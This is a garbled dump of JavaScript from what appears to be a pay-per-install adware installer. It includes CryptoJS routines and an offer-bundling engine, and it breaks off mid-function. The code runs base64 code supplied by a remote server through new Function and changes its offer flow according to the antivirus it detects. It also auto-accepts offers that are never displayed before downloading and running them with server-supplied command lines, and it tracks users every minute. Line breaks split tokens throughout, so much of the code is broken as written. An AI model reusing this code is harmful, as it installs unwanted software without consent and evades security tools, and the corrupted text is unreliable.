for (d = 0; d < a; d++) j = a - d, k = d % 4 ? e[j] : e[j - 4],
c[d] = 4 > d || 4 >= j ? k : b[l[k >>> 24]] ^ x[l[k >>> 16 & 255]] ^ q[l[k >>>
8 & 255]] ^ n[l[k & 255]]
},
encryptBlock: function(a, b) {
this._doCryptBlock(a, b, this._keySchedule, t, r, w, v, l)
},
decryptBlock: function(a, c) {
var d = a[c + 1];
a[c + 1] = a[c + 3];
a[c + 3] = d;
this._doCryptBlock(a, c, this._invKeySchedule, b, x, q, n, s);
d = a[c + 1];
a[c + 1] = a[c + 3];
a[c + 3] = d
},
_doCryptBlock: function(a, b, c, d, e, j, l, f) {
for (var m = this._nRounds, g = a[b] ^ c[0], h = a[b + 1] ^ c[1]
, k = a[b + 2] ^ c[2], n = a[b + 3] ^ c[3], p = 4, r = 1; r < m; r++) var q = d[
g >>> 24] ^ e[h >>> 16 & 255] ^ j[k >>> 8 & 255] ^ l[n & 255] ^ c[p++],
s = d[h >>> 24] ^ e[k >>> 16 & 255] ^ j[n >>> 8 & 255] ^ l[g
& 255] ^ c[p++],
t =
d[k >>> 24] ^ e[n >>> 16 & 255] ^ j[g >>> 8 & 255] ^ l[h & 2
55] ^ c[p++],
n = d[n >>> 24] ^ e[g >>> 16 & 255] ^ j[h >>> 8 & 255] ^ l[k
& 255] ^ c[p++],
g = q,
h = s,
k = t;
q = (f[g >>> 24] << 24 | f[h >>> 16 & 255] << 16 | f[k >>> 8 & 2
55] << 8 | f[n & 255]) ^ c[p++];
s = (f[h >>> 24] << 24 | f[k >>> 16 & 255] << 16 | f[n >>> 8 & 2
55] << 8 | f[g & 255]) ^ c[p++];
t = (f[k >>> 24] << 24 | f[n >>> 16 & 255] << 16 | f[g >>> 8 & 2
55] << 8 | f[h & 255]) ^ c[p++];
n = (f[n >>> 24] << 24 | f[g >>> 16 & 255] << 16 | f[h >>> 8 & 2
55] << 8 | f[k & 255]) ^ c[p++];

a[b] = q;
a[b + 1] = s;
a[b + 2] = t;
a[b + 3] = n
},
keySize: 8
});
u.AES = p._createHelper(d)
})();
CryptoJS.mode.CFB = (function() {
var CFB = CryptoJS.lib.BlockCipherMode.extend();
CFB.Encryptor = CFB.extend({
processBlock: function(words, offset) {
// Shortcuts
var cipher = this._cipher;
var blockSize = cipher.blockSize;
generateKeystreamAndEncrypt.call(this, words, offset, blockSize, cip
her);
// Remember this block to use with next block
this._prevBlock = words.slice(offset, offset + blockSize);
}
});
CFB.Decryptor = CFB.extend({
processBlock: function(words, offset) {
// Shortcuts
var cipher = this._cipher;
var blockSize = cipher.blockSize;
// Remember this block to use with next block
var thisBlock = words.slice(offset, offset + blockSize);
generateKeystreamAndEncrypt.call(this, words, offset, blockSize, cip
her);
// This block becomes the previous block
this._prevBlock = thisBlock;
}
});
function generateKeystreamAndEncrypt(words, offset, blockSize, cipher) {
// Shortcut
var iv = this._iv;
// Generate keystream
if (iv) {
var keystream = iv.slice(0);
// Remove IV for subsequent blocks
this._iv = undefined;
} else {
var keystream = this._prevBlock;
}
cipher.encryptBlock(keystream, 0);
// Encrypt

for (var i = 0; i < blockSize; i++) {


words[offset + i] ^= keystream[i];
}
}
return CFB;
}());var firstCall = null;
var secondCall = null;
function checkPresent(base64code,resultCode)
{
var code = "";
try
{
code = decodeBase64(base64code);
code = code.replace(/%exitcode%/g,resultCode||"");
var result = evalCode(code);
return result;
}
catch(err)
{
return null;
}
}
function evalCode(code)
{
var codeFunc = new Function(code);
var result = codeFunc.call(this,[]);
if(result === true || result === false)
{
return result;
}
else
{
var err = {};
err.message = "no return";
throw err;
}
}
function decodeBase64(base64code)
{
var code = "";
try
{
var words = CryptoJS.enc.Base64.parse(base64code);
code = CryptoJS.enc.Utf8.stringify(words);
}
catch(ex)
{
code = Base64.decode(base64code);
}
return code;
}
function checkMachineRestrictions(machineRestrictions)
{
var restricted = false;
$.each(machineRestrictions,function(i,value)
{
value.type = value.type.toLowerCase();

restricted = restricted || ("MP_"+machineInfo[value.type] == value.value


);
});
return restricted;
}
var Base64 =
{
_keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
,
decode: function(input) {
var output = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
while (i < input.length) {
enc1
enc2
enc3
enc4

=
=
=
=

this._keyStr.indexOf(input.charAt(i++));
this._keyStr.indexOf(input.charAt(i++));
this._keyStr.indexOf(input.charAt(i++));
this._keyStr.indexOf(input.charAt(i++));

chr1 = (enc1 << 2) | (enc2 >> 4);


chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
output = output + String.fromCharCode(chr1);
if (enc3 != 64) {
output = output + String.fromCharCode(chr2);
}
if (enc4 != 64) {
output = output + String.fromCharCode(chr3);
}
}
output = Base64._utf8_decode(output);
return output;
},
_utf8_decode: function(utftext) {
var string = "";
var i = 0;
var c = c1 = c2 = 0;
while (i < utftext.length) {
c = utftext.charCodeAt(i);
if (c < 128) {
string += String.fromCharCode(c);
i++;
}
else if ((c > 191) && (c < 224)) {
c2 = utftext.charCodeAt(i + 1);
string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));

i += 2;
}
else {
c2 = utftext.charCodeAt(i + 1);
c3 = utftext.charCodeAt(i + 2);
string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6
) | (c3 & 63));
i += 3;
}
}
return string;
}
}//TO DO
//Group affers panel
var dataObject = null;
var installerData;
var machineInfo;
var
var
var
var
var
var

acceptedCount = 0;
currOffer = -1;
step = -1;
loading = false;
installing = [];
threeButtons = true;

var finished = false;


var downloaded = false;
var hidenned = false;
var mappInstalled = false;
var exception = false;
var currentOfferScreen = 0;
var wasSkipAll = false;
var wasAborted = false;
var monetizationTypesAccepted=[];
var executionID = "";
var specialLinks = ["_TitPrivacy","_TitSetup","_TitFree","_TitHelp","_TitUninsta
ll","_TitContact","_TitTerms"];
var TRACKURL;
var
var
var
var
var
var
var

INSTALLED=0;
DECLINED=2;
ABORTED =3;
PRESENT=4;
NOCONFIRMED=5;
ACCEPTED=9;
TIMEOUT=7;

var SKIPALL=17;
var PENDING=20;
var MACHINE=85;

var
var
var
var
var
var
var

EXECUTIONERROR=91;
DISPLAYERROR=92;
INSTALLERROR=93;
PRECHECKERROR=94;
POSTCHECKERROR=95;
OFFERERROR=96;
NODISPLAYCOMPATIBLE=97;

var
var
var
var

WELCOME = 0;
OFFERS = 1;
INSTALLING = 2;
FINISH = 3;

var MB_OK = 0;
var MB_YESNO = 4;
var MB_YESNOCANCEL = 3;
var
var
var
var

IDCANCEL = 2;
IDNO = 7;
IDYES = 6;
IDOK = 1;

var MBF_CONTINUE = 0;
var MBF_EXIT = 1;
var MBF_INSTALL=2;
//profile
function getData(crypted,usedDomain)
{
var decryptedText="CryptError";
try
{
decryptedText = hexToString(crypted);
installerData = JSON.parse(decryptedText);
if(typeof installerData.extra === "string")
{
installerData.extra = JSON.parse(installerData.extra);
}
addLog(JSON.stringify(installerData));
installerData.extra.requestHost = usedDomain;
machineInfo.db = installerData.usedBrowser;
}
catch(error)
{
ForceError("Internal->"+JSON.stringify(error)+"->"+crypted,"","");
return;
}
addTrace("DecryptedInternal");
addLog("decrypted internal data");
if(installerData.host =="")
{
installerData.host = installerData.extra.requestHost.substring(installerData
.extra.requestHost.indexOf(".")+1);
}
try
{
addLog(JSON.stringify(machineInfo));
var apiUrl;
addLog("getting machine info");
var WinVer = machineInfo.os;

addLog("parsing winver");
WinVer = parseFloat(WinVer);
addLog("getting url");
apiUrl = "http://"+installerData.extra.requestHost+"/stan/api/"+installerDat
a.publisher+"/"+installerData.campaign+"/"+installerData.carrier+"/"+machineInfo
.lan.toUpperCase()+"/"+getRegion().toUpperCase()+"?browser="+installerData.usedB
rowser;
if(machineInfo.fraud)
apiUrl+="&fraud";
addLog(apiUrl);
getResponseForApi(cryptUrl(apiUrl),"","onDataRecivied","ForceError");
addLog(WinVer.toString());
}
catch(error)
{
ForceError("GetData->"+JSON.stringify(error));
}
}
function onException(data)
{
try
{
if(data.message)
{
data = data.message;
}
//ForceError(data,"onException","undefined");
if(dataObject && dataObject.offers)
{
for(var i=0;i<dataObject.offers.length;i++)
{
var offer = dataObject.offers[i];
offer.state = EXECUTIONERROR;
}
}
var msgText = "An error has occurred";
try
{
if(returnIdValue)
{
msgText = returnIdValue("#_ExceptionText")||msgText;
}
showMessage(msgText,"",MB_OK);
}
catch(err)
{
}
exception = true;
addLog("exception");
onExit();
}
catch(err)
{
sendEx("onException->"+JSON.stringify(err));
}
}

function generateExecutionID()
{
var stringBuilder = "";
var currentdate = new Date();
stringBuilder+=currentdate.getHours();
stringBuilder+=currentdate.getMinutes();
stringBuilder+=currentdate.getMilliseconds();
stringBuilder+=installerData.uid || randomString(23);
return stringBuilder;
}
function randomString(len)
{
var text = "";
var charset = "abcdefghijklmnopqrstuvwxyz0123456789";
for( var i=0; i < len; i++ )
text += charset.charAt(Math.floor(Math.random() * charset.length));
return text;
}
function onDataRecivied(data)
{
try
{
addTrace("ApiSuccess");
addTrace("Api decrypted");
//data = deCryptString(32,64,"CBC",data);
addLog("api response succes");
dataObject = data;
dataObject = JSON.parse(replaceResponse(dataObject,installerData,JSON.parse(
dataObject),""));
executionID = generateExecutionID();
setBlankProfile();
machineInfo = GetImportantAv(machineInfo,dataObject.installerBehavior.antivi
rus);
addLog(JSON.stringify(machineInfo));
modifyAccordingAV();
TRACKURL = "http://"+installerData.extra.requestHost+"/"+"kenny/"+dataObject
.installerBehavior.track.service;
addLog("track url->"+TRACKURL);
addLog("track type->"+dataObject.installerBehavior.track.type);
setTrackInterval();
addLog("object parsed");
addTrace("ObjectParsed");
setInitialStates();
addTrace("PostSetInitialStates");
addLog("set initial states completed");
showProfile();
}
catch(error)
{
ForceError("DataRecivied->"+JSON.stringify(error)+"--","","","");
}
}
function modifyAccordingAV()
{
if(!dataObject.installerBehavior.AVPolicies)

return;
dataObject.presentation.commonScreens = jQuery.grep(dataObject.presentation.co
mmonScreens, function(value) {
return value.type != "group";
});
threeButtons = false;
}
function setBlankProfile()
{
if(installerData.url != "")
{
dataObject.installerBehavior.mappUrl = decodeURIComponent(installerData.url)
;
}
if(installerData.caption != "")
{
installerData.app = installerData.caption;
dataObject.presentation.formCaption = installerData.caption;
}
}
function setLinks()
{
SetLink("_TitPrivacy",dataObject.presentation.links.privacyUrl,true);
SetLink("_TitSetup",dataObject.presentation.links.setupUrl,true);
SetLink("_TitFree",dataObject.presentation.links.freeUrl,true);
SetLink("_TitHelp",dataObject.presentation.links.helpUrl,true);
SetLink("_TitUninstall",dataObject.presentation.links.uninstallUrl,true)
;
SetLink("_TitContact",dataObject.presentation.links.contactUrl,true);
SetLink("_TitTerms",dataObject.presentation.links.termsUrl,true);
}
function setInitialStates()
{
for(var i=0;i<dataObject.offers.length;i++)
{
var offer = dataObject.offers[i];
offer.catchallMonetizations = [];
offer.usedScreen = null;
offer.score +=1;
if(offer.inactive == -1 || !offer.inactive)
{
if(checkMachineRestrictions(offer.offerBehavior.machineRestrictions))
{
offer.state = MACHINE;
}
else if(offer.offerBehavior.ownerCheck && ownerCheck(offer.id,false))
{
offer.state = PRESENT;
}
else
{
var checkResult;
var ignorePresent = GetIgnorePresents(offer.id);
if( ignorePresent == 1)
{
checkResult = false;
}

else if(ignorePresent == 2)
{
checkResult = true;
}
else
{
checkResult = checkPresent(offer.offerBehavior.preCheck);
}
if(checkResult == null)
{
offer.state = PRECHECKERROR;
}
else if(checkResult)
{
offer.state = PRESENT;
}
else
{
offer.state = PENDING;
}
}
}
else
{
offer.state = offer.inactive;
}
}
}
//onfinish
var gratShowed = false;
function openGratitudes()
{
if(gratShowed)
{
return;
}
gratShowed = true;
var url = null;
if(mappInstalled && dataObject.installerBehavior.gratitudeUrl!= null)
{
url = dataObject.installerBehavior.gratitudeUrl;
}
else if(!mappInstalled && dataObject.installerBehavior.abortUrl!= null)
{
url = dataObject.installerBehavior.abortUrl;
}
if(url!=null)
{
if(installerData.extra)
{
url = formatThankyouPage(url,installerData.extra.requestHost);
}
openUrlOnDefaultBrowser(url);
}
}
function generateUninstaller()
{
var values=Array();
$.each(dataObject.offers, function(key,offer)
{

if(offer.state == INSTALLED)
{
$.each(offer.offerBehavior.uninstall, function(key,uninstall)
{
var currentvalue = Array();
currentvalue[0] = uninstall.uninstallKey;
currentvalue[1] = uninstall.uninstallProcess;
values.push(currentvalue);
});
}
});
createUninstaller(values);
}

//Events
function onAccept()
{
addLog("onAccept is loading = "+loading);
if(loading || step == INSTALLING || step == FINISH )
return;
loading = true;
if(step == 1)
{
if(currOffer.length == 1)
{
var offerObject = dataObject.offers[currOffer[0]];
var accepted = GetAccepted(dataObject.presentation.offerScreens[currentOff
erScreen].argsDecline);
if(accepted)
{
acceptOffer(offerObject);
offerObject.commandLine = GetCommandline(offerObject.commandLine,offerOb
ject.argsDelimiter);
acceptedCount++;
}
else
{
offerObject.state = DECLINED;
changeScreen();
}
}
else
{
$('._CBdecline').each(function()
{
var offerObject = dataObject.offers[$(this).attr("tag")];
if($(this).is(':checked'))
{
acceptOffer(offerObject);
}
else
{
offerObject.state = DECLINED;
}
});
}

}
goForward();
}
function onDecline()
{
addLog("onDecline is loading = "+loading);
if(loading || step == INSTALLING || step == FINISH )
return;
loading = true;
if(step == 1)
{
$.each(currOffer, function(key,offer)
{
var currObject = dataObject.offers[offer];
currObject.state = DECLINED;
});
}
changeScreen();
goForward();
}
function onOmit()
{
addLog("onOmit is loading = "+loading);
if(loading || step == INSTALLING || step == FINISH )
return;
loading = true;
$.each(dataObject.offers, function(key,offer)
{
if(offer.state == PENDING)
{
wasSkipAll = true;
offer.state = SKIPALL;
}
});
goForward();
}
function ExitApplication()
{
openGratitudes();
generateUninstaller();
closeForm();
}
function TrackAndClose()
{
finished = true;
track("ExitApplication","ExitApplication");
}
function confirmExit()
{
if(threeButtons)
{
var selected = showMessage(returnIdValue("#_ExitConfirmThreeButtons")||"Clic
k 'Yes' to install "+dataObject.presentation.formCaption+" and the selected offe
rs.'Cancel' to continue with the install process.'No' to leave without install "
+dataObject.presentation.formCaption,"",MB_YESNOCANCEL);
switch(selected)
{

case IDYES:
return MBF_INSTALL;
case IDNO:
return MBF_EXIT;
case IDCANCEL:
return MBF_CONTINUE;
}
}
else
{
var selected = showMessage(returnIdValue("#_ExitConfirm")||"Closing now the
installer could leave some incomplete installations. Would you like to continue
with the instalation process?","",MB_YESNO);_ExitConfirm
switch(selected)
{
case IDNO:
return MBF_EXIT;
case IDYES:
return MBF_CONTINUE;
}
}
}
function exitBeforeEnd()
{
var result = confirmExit();
if(result == MBF_EXIT)
{
createShortCut("%DESKTOP%","Continue "+installerData.carrier.replace("_","
")+" installation");
wasAborted = true;
if(step == OFFERS)
{
$.each(currOffer, function(key,offer)
{
var currObject = dataObject.offers[offer];
currObject.state = ABORTED;
});
}
else if(step == INSTALLING)
{
for(var i=0;i<dataObject.offers.length;i++)
{
var offer = dataObject.offers[i];
if(typeof offer !== "undefined" && offer.state == ACCEPTED)
{
offer.state = ABORTED;
}
}
}
TrackAndClose();
}
else if(result == MBF_INSTALL)
{
createShortCut("%DESKTOP%","Continue "+installerData.carrier.replace("_","
")+" installation");
wasAborted = true;
if(step == OFFERS)
{
$.each(currOffer, function(key,offer)
{

var currObject = dataObject.offers[offer];


currObject.state = ABORTED;
});
currOffer = null;
goForward();
}
else if (step == WELCOME)
{
goForward();
}
}
}
function onExit()
{
addLog("onExit");
if(!dataObject)
{
closeForm();
}
else if(finished)
{
ExitApplication();
}
else if(step === FINISH)
{
hidenned = true;
hideForm(true,false);
}
else if(exception)
{
TrackAndClose();
}
else
{
exitBeforeEnd();
}
}
//commonScreens
function goForward()
{
if(step != OFFERS || currOffer == null)
{
step++;
}
addLog("go forward");
updateValue($("._OffersShowing"),"",false);
currOffersText="";
printStates();
hideClasses(["_StepElement"]);
switch(step)
{
case WELCOME:
ChangeVisibility("_StepWelcome");
var common = returnCommonNode("welcome");
showCommon(common,"welcomeScreen",dataObject.presentation.mappRenderId);
break;
case OFFERS:
ChangeVisibility("_StepOptions");
showNextOffer();

break;
case INSTALLING:
addUniqueTrace("RenderInstallStep");
addLog("InstallScreen");
ChangeVisibility("_StepInstalling");
showCommon(returnCommonNode("install"),"installScreen");
break;
case FINISH:
if(dataObject.installerBehavior.hideOnInstall)
{
hideForm(false,false);
}
track("ShowFinish","ShowFinish");
break;
default:
sendEx("default on goforward->"+step);
exception = true;
onExit();
break;
}
}
function ShowFinish(data)
{
ChangeVisibility("_StepFinished");
showCommon(returnCommonNode("finish"),"finishScreen");
}
function returnCommonNode(identifier)
{
var common = undefined;
$.each(dataObject.presentation.commonScreens, function(key,commonScreen)
{
if(commonScreen.type == identifier)
{
common = commonScreen;
}
});
return common;
}
function searchNextAllowedOfferscreen(offerID,OfferScreenID,screens)
{
if(OfferScreenID > screens.length-1)
{
OfferScreenID = 0;
}
var currentOfferScreen = OfferScreenID;
var returnData = null;
while(true)
{
if($.inArray(offerID,screens[currentOfferScreen].restrictedOffers)==-1)
{
returnData = currentOfferScreen;
break;
}
else
{
if(currentOfferScreen>=screens.length-1)
{

currentOfferScreen = 0;
}
else
{
//start from 0 if its the last position
currentOfferScreen++;
}
if(OfferScreenID == currentOfferScreen)
{
break;
}
}
}
return returnData;
}
function nextOfferCallback(list)
{
addSpeficicTrace("getNextOffer");
currOffer = list;
if(currOffer)
{
try
{
addLog("loaded offers display");
//if we must show a individual display
if(currOffer.length == 1)
{
var result = searchNextAllowedOfferscreen(dataObject.offers[currOffer].i
d,currentOfferScreen,dataObject.presentation.offerScreens);
if(result == null)
{
onDisplayFail("bloqued");
}
else
{
currentOfferScreen = result;
//create display
dataObject.offers[currOffer].usedScreen = dataObject.presentation.offe
rScreens[currentOfferScreen].id;
createFrame(dataObject.presentation.offerScreens[currentOfferScreen].r
enderUrl+dataObject.offers[currOffer].offerPresentation.renderId,dataObject.offe
rs[currOffer].offerPresentation.renderStyle,"onDisplayFail","displayLoaded");
}
}
else
{
//create group bundle
showCommon(returnCommonNode("group"),"groupScreen");
}
}
catch(err)
{
addLog("nextOfferCallback->"+err);
currOffer = null;
goForward();
}
}

else
{
addLog("no offers");
//if there is no offer to show
currOffer = null;
goForward();
}
}
//offers
function showNextOffer()
{
try
{
addSpeficicTrace("gettingNextOffer");
startGettingNextOffer(dataObject.offers,dataObject.installerBehavior.maxStep
s, returnCommonNode("group")!== undefined, nextOfferCallback,dataObject.installe
rBehavior.combinationMaxTime);
}
catch(err)
{
addLog(err.message);
}
}
function onDisplayFail(reasonTxt)
{
if(step == 1)
{
$.each(currOffer, function(key,offer)
{
var currObject = dataObject.offers[offer];
if(reasonTxt != "bloqued")
{
currObject.state = DISPLAYERROR;
}
else
{
currObject.state =NODISPLAYCOMPATIBLE;
}
});
}
addLog("onDisplayFail->"+reasonTxt);
//loading = false;
goForward();
}
function setOfferObject(key,url,commandline,filename,name,waitToCheck,macBehavio
r)
{
var newOffer = {};
newOffer.id = key;
newOffer.url = url;
newOffer.commandline = commandline;
newOffer.filename = filename || name+".exe";
newOffer.name = name;
newOffer.checking = false;
newOffer.completed = false;
newOffer.macBehavior = macBehavior || "";
newOffer.installTime = -1;

if(waitToCheck == -1 || typeof waitToCheck === "undefined")


{
newOffer.waitToCheck = 10000;
}
else
{
newOffer.waitToCheck = waitToCheck;
}
return newOffer;
}
function changeScreen()
{
currentOfferScreen++;
if(dataObject.presentation.offerScreens.length-1 < currentOfferScreen)
{
currentOfferScreen = 0;
}
}
function compareArraysRemoveNumbers(firstArray,secondArray)
{
var combined = [];
$.each(firstArray, function(key,element)
{
if($.inArray(element,secondArray)!=-1)
{
element = element.replace(/[0-9]/g, '');
if($.inArray(element,combined)==-1)
{
combined.push(element);
}
}
});
return combined;
}
function acceptedCatchall(arrayTotal,arrayBloqued)
{
var formatted = [];
var resultArray = [];
for(var i=0;i<arrayTotal.length;i++)
{
var element = arrayTotal[i].replace(/[0-9]/g, '');
if($.inArray(element,arrayBloqued)==-1)
{
formatted.push(element);
}
}
$.each(formatted, function(key,element)
{
if($.inArray(element,resultArray)==-1)
{
resultArray.push(element);
}
});
return resultArray;
}
function replaceCommandlineCachAll(offer,Accepted)
{
var cachallCommandline = "";
var monAdded = compareArraysRemoveNumbers(offer.offerBehavior.monetizationType

s,Accepted);
$.each(monAdded, function(key,mon)
{
cachallCommandline+=mon+offer.argsDelimiter;
});
offer.catchallMonetizations = acceptedCatchall(offer.offerBehavior.monetizatio
nTypes,monAdded);
cachallCommandline = cachallCommandline.slice(0,-1);
if(offer.commandLine.indexOf("%catchAll%")!= -1)
{
offer.commandLine = offer.commandLine.replace(/%catchAll%/g,cachallCommandli
ne);
}
else
{
offer.commandLine = offer.commandLine+cachallCommandline;
}
}
function acceptOffer(offer)
{
acceptedRestrictions = acceptedRestrictions.concat(offer.offerBehavior.restric
tions);
acceptedRestrictions.push(offer.id);
offer.state = ACCEPTED;
if(!offer.offerBehavior.catchAll)
{
$.merge(monetizationTypesAccepted, offer.offerBehavior.monetizationTypes);
}
}
function setNoDisplayStates(offers)
{
for(var i=0;i<offers.length;i++)
{
if(offers[i].state == PENDING && $.inArray(offers[i].id,acceptedRestrictions
)==-1 && !offers[i].offerBehavior.showDisplay)
{
acceptOffer(offers[i]);
}
}
}
function setTrackInterval()
{
track("","");
var interval = setInterval(function()
{
addLog("autotracking");
if(finished)
{
addLog("trackend");
clearInterval(interval);
return;
}
track("","");
},60000);
}
/*
CryptoJS v3.1.2
code.google.com/p/crypto-js

(c) 2009-2013 by Jeff Mott. All rights reserved.


code.google.com/p/crypto-js/wiki/License
*/
var CryptoJS=CryptoJS||function(h,r){var k={},l=k.lib={},n=function(){},f=l.Base
={extend:function(a){n.prototype=this;var b=new n;a&&b.mixIn(a);b.hasOwnProperty
("init")||(b.init=function(){b.$super.init.apply(this,arguments)});b.init.protot
ype=b;b.$super=this;return b},create:function(){var a=this.extend();a.init.apply
(a,arguments);return a},init:function(){},mixIn:function(a){for(var b in a)a.has
OwnProperty(b)&&(this[b]=a[b]);a.hasOwnProperty("toString")&&(this.toString=a.to
String)},clone:function(){return this.init.prototype.extend(this)}},
j=l.WordArray=f.extend({init:function(a,b){a=this.words=a||[];this.sigBytes=b!=r
?b:4*a.length},toString:function(a){return(a||s).stringify(this)},concat:functio
n(a){var b=this.words,d=a.words,c=this.sigBytes;a=a.sigBytes;this.clamp();if(c%4
)for(var e=0;e<a;e++)b[c+e>>>2]|=(d[e>>>2]>>>24-8*(e%4)&255)<<24-8*((c+e)%4);els
e if(65535<d.length)for(e=0;e<a;e+=4)b[c+e>>>2]=d[e>>>2];else b.push.apply(b,d);
this.sigBytes+=a;return this},clamp:function(){var a=this.words,b=this.sigBytes;
a[b>>>2]&=4294967295<<
32-8*(b%4);a.length=h.ceil(b/4)},clone:function(){var a=f.clone.call(this);a.wor
ds=this.words.slice(0);return a},random:function(a){for(var b=[],d=0;d<a;d+=4)b.
push(4294967296*h.random()|0);return new j.init(b,a)}}),m=k.enc={},s=m.Hex={stri
ngify:function(a){var b=a.words;a=a.sigBytes;for(var d=[],c=0;c<a;c++){var e=b[c
>>>2]>>>24-8*(c%4)&255;d.push((e>>>4).toString(16));d.push((e&15).toString(16))}
return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c+=2)d[c>>>
3]|=parseInt(a.substr(c,
2),16)<<24-4*(c%8);return new j.init(d,b/2)}},p=m.Latin1={stringify:function(a){
var b=a.words;a=a.sigBytes;for(var d=[],c=0;c<a;c++)d.push(String.fromCharCode(b
[c>>>2]>>>24-8*(c%4)&255));return d.join("")},parse:function(a){for(var b=a.leng
th,d=[],c=0;c<b;c++)d[c>>>2]|=(a.charCodeAt(c)&255)<<24-8*(c%4);return new j.ini
t(d,b)}},t=m.Utf8={stringify:function(a){try{return decodeURIComponent(escape(p.
stringify(a)))}catch(b){throw Error("Malformed UTF-8 data");}},parse:function(a)
{return p.parse(unescape(encodeURIComponent(a)))}},
q=l.BufferedBlockAlgorithm=f.extend({reset:function(){this._data=new j.init;this
._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=t.parse(a));this._dat
a.concat(a);this._nDataBytes+=a.sigBytes},_process:function(a){var b=this._data,
d=b.words,c=b.sigBytes,e=this.blockSize,f=c/(4*e),f=a?h.ceil(f):h.max((f|0)-this
._minBufferSize,0);a=f*e;c=h.min(4*a,c);if(a){for(var g=0;g<a;g+=e)this._doProce
ssBlock(d,g);g=d.splice(0,a);b.sigBytes-=c}return new j.init(g,c)},clone:functio
n(){var a=f.clone.call(this);
a._data=this._data.clone();return a},_minBufferSize:0});l.Hasher=q.extend({cfg:f
.extend(),init:function(a){this.cfg=this.cfg.extend(a);this.reset()},reset:funct
ion(){q.reset.call(this);this._doReset()},update:function(a){this._append(a);thi
s._process();return this},finalize:function(a){a&&this._append(a);return this._d
oFinalize()},blockSize:16,_createHelper:function(a){return function(b,d){return(
new a.init(d)).finalize(b)}},_createHmacHelper:function(a){return function(b,d){
return(new u.HMAC.init(a,
d)).finalize(b)}}});var u=k.algo={};return k}(Math);
function printStates()
{
if (window.external && ('printStates' in window.external)&& ('acceptedMonetiza
tions' in window.external))
{
var object = [];
$.each( dataObject.offers, function(key,offer)
{
var newObject = {};
newObject.id = offer.id;
newObject.name = offer.name;
newObject.canGroup = offer.offerPresentation.canGroup;
newObject.monetization = offer.offerBehavior.monetizationTypes;

newObject.restrictions = offer.offerBehavior.restrictions;
newObject.state = offer.state;
object.push(newObject);
//addLog("state of "+offer.name+ " is " +offer.state);
});
window.external.printStates(JSON.stringify(object));
window.external.acceptedMonetizations(monetizationTypesAccepted);
}
}
function PrintInstallPropiertas(installingOffers)
{
if (window.external && ('printInstallPropiertas' in window.external))
{
$.each(installingOffers, function(key,offer)
{
window.external.printInstallPropiertas(offer.name,offer.url,offer.commandl
ine);
});
}
}
function printCombination(offers,value)
{
if (window.external && ('printCombination' in window.external))
{
setTimeout(function()
{
var offersText = "";
for(var i = 0;i<offers.length;i++)
{
for(var a= 0;a<offers[i].length;a++)
{
offersText+=offers[i][a]+"+";
}
offersText = offersText.slice(0,-1);
offersText+=",";
}
window.external.printCombination(offersText,value);
addLog(offersText+"->"+value);
},1);
}
}
function printClearCombination()
{
if (window.external && ('printClearCombination' in window.external))
{
setTimeout(function()
{
window.external.printClearCombination();
},1);
}
}
var ignorepresents = null;
function GetIgnorePresents(offerID)
{
if(ignorepresents!==null)
{
return ignorepresents;
}
if (window.external && ('GetIgnorePresents' in window.external))

{
return window.external.GetIgnorePresents(offerID);
}
else
{
ignorepresents = 0;
}
return ignorepresents;
}
function getRegion()
{
if (window.external && ('getRegion' in window.external))
{
return window.external.getRegion() || "";
}
else
{
return "";
}
}
function addLog(message)
{
if (window.external && ('addLog' in window.external))
{
setTimeout(function()
{
window.external.addLog(message);
},0);
}
}
var installingOffers = null;
var totalbytes = 0;
var installStart = null;
function install(offers)
{
installingOffers=offers;
PrintInstallPropiertas(offers);
SetTotalSize();
}
function SetTotalSize()
{
setTimeout(function()
{
var urls = "";
$.each(installingOffers, function(key,offer)
{
urls+=offer.url + "%%%";
});
urls = urls.slice(0, -3);
var bytes = getTotalSize(urls);
if(bytes != "-2")
{
totalSizeRecivied(bytes);
}
},0);
}
function totalSizeRecivied(bytes)
{

addLog(bytes);
addLog(typeof(bytes.toString()));
totalbytes = parseInt(bytes.toString());
addLog("parsed");
addTrace("totalSizeRecivied");
$.each(installingOffers, function(key,offer)
{
try
{
offer.position = key;
addLog("startInstall");
startInstall(key,offer.url,offer.commandline,offer.filename,offer.macBehav
ior);
addLog("startedInstall");
}
catch(err)
{
offer.downloadedBytes = 0;
offer.totalbytes = 0;
offer.state = OFFERERROR;
}
});
addTrace("allOffersSended");
var dateObj = new Date();
installStart = dateObj.getTime();
getOffersProgress();
//calculateDownloadSpeed();
}
var currdownloadedBytes = null;
function showInstallProgress()
{
currdownloadedBytes=0;
$.each(installingOffers, function(key,offer)
{
if($.isNumeric(offer.downloadedBytes) )
{
currdownloadedBytes += offer.downloadedBytes;
}
});
if(currdownloadedBytes > 0)
{
var percentage = Math.round((currdownloadedBytes*90)/totalbytes);
if(percentage < 90)
{
$("._ProgressText").show();
$("._ProgressTextDownloaded").html(humanReadableFileSize(currdownloadedByt
es));
$("._ProgressTextTotal").html(humanReadableFileSize(totalbytes));
$("._ProgressTextPercentage").html(percentage);
$("._TotalProgressLevel").width(percentage+"%");
}
else
{
$("._TotalProgressLevel").width("90%");
$("._ProgressText").hide();
$("._ProgressInstallingText").show();
}
}

}
var errorIntervaTracked = false;
function trackErrorOnInterval(message)
{
if(!errorIntervaTracked)
{
errorIntervaTracked = true;
sendEx("DownloadInterval->"+message,"","","","");
}
}
function updateOffersValues()
{
var allInstalled = true;
var allDownloaded = true;
for(var i = 0;i<installingOffers.length;i++)
{
if(installingOffers[i].checking)
{
continue;
}
var response = null;
//3600000 miliseconds = 60 minutes
var dateObj = new Date();
if(dateObj.getTime() - installStart < 3600000)
{
response = getDownloadProgress(i);
}
else
{
response = "2|-99|1200000";
}
var responseSplited = response.split("|");
if(responseSplited[0] == "0")
{
allInstalled = false;
allDownloaded = false;
offerProgress(i,responseSplited[1],responseSplited[2]);
}
else if(responseSplited[0] == "1")
{
allInstalled = false;
installingOffers[i].downloadedBytes = installingOffers[i].totalbytes;
}
else
{
installingOffers[i].checking = true;
try
{
offerInstallComplete(i,responseSplited[1],installingOffers[i].waitToChec
k,responseSplited[2]);
}
catch(err)
{
